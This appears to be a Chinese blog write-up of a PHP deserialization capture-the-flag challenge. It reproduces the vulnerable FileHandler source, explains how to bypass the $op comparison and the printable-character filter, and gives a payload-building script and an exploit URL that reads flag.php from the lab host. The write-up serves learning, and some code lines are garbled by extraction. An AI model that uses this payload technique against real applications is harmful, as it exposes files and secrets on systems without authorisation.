[网鼎杯 2020 青龙组]AreUSerialz(BUUCTF)

文章目录


  1. 打开网页我们获取到一堆源代码,然后进行代码审计:

    
    
        include("flag.php");
    
        highlight_file(__FILE__);
    
        class FileHandler {
    
            protected $op;
            protected $filename;
            protected $content;
    
            function __construct() {  //对象被创建时触发
                $op = "1";
                $filename = "/tmp/tmpfile";
                $content = "Hello World!";
                $this->process();
            }
    
            public function process() {
                if($this->op == "1") {  # 写入文件
                    $this->write();
                } else if($this->op == "2") { # 弱类型比较
                    $res = $this->read(); # 读取文件
                    $this->output($res);
                } else {
                    $this->output("Bad Hacker!");
                }
            }
    
            private function write() {
                if(isset($this->filename) && isset($this->content)) {
                    if(strlen((string)$this->content) > 100) {
                        $this->output("Too long!");
                        die();
                    }
                    $res = file_put_contents($this->filename, $this->content);
                    if($res) $this->output("Successful!");
                    else $this->output("Failed!");
                } else {
                    $this->output("Failed!");
                }
            }
    
            private function read() {
                $res = "";
                if(isset($this->filename)) {
                    $res = file_get_contents($this->filename);
                }
                return $res;
            }
    
            private function output($s) {
                echo "[Result]: 
    "
    ; echo $s; } function __destruct() { // 对象被销毁时触发 if($this->op === "2") # 使用强类型比较 $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) # 判断有无特殊字符 return false; return true; } if(isset($_GET{'str'})) { # 接收 str 参数 $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
  2. 我们在这其中发现了 PHP 反序列化漏洞,可能会有人问在哪里?

    我们先看其中的两个魔术方法 __construct() 和 __destruct() 这两个方法的用作我已经写在代码中, __construct() 这个方法没有什么问题,倒是__destruct() 这个方法,在执行的时候调用了 process(); 就给出了可乘之机,执行的顺序为 __destruct()–> process()–>read()

  3. 绕过:
    1.__destruct()中要求op!=2且process()中要求op2
        这样用$op=2绕过
    2.绕过is_valid()函数,private和protected属性经过序列化都存在不可打印字符在32-125之外,但是对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。对于 PHP 版本查看返回包就可以知道

  4. 构造 payload :

    
       class FileHandler {
    
            public $op = " 2";
            public $filename = "flag.php";
            public $content;
       }
       $a = new FileHandler();
       echo serialize($a);
    ?>
    
  5. 网页链接:

    http://174ea6c7-cff8-4431-b5e8-dd19fbc5cfce.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;s:2:%22%202%22;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;N;}
    查看源代码即可得知

你可能感兴趣的:(笔记,php,web安全)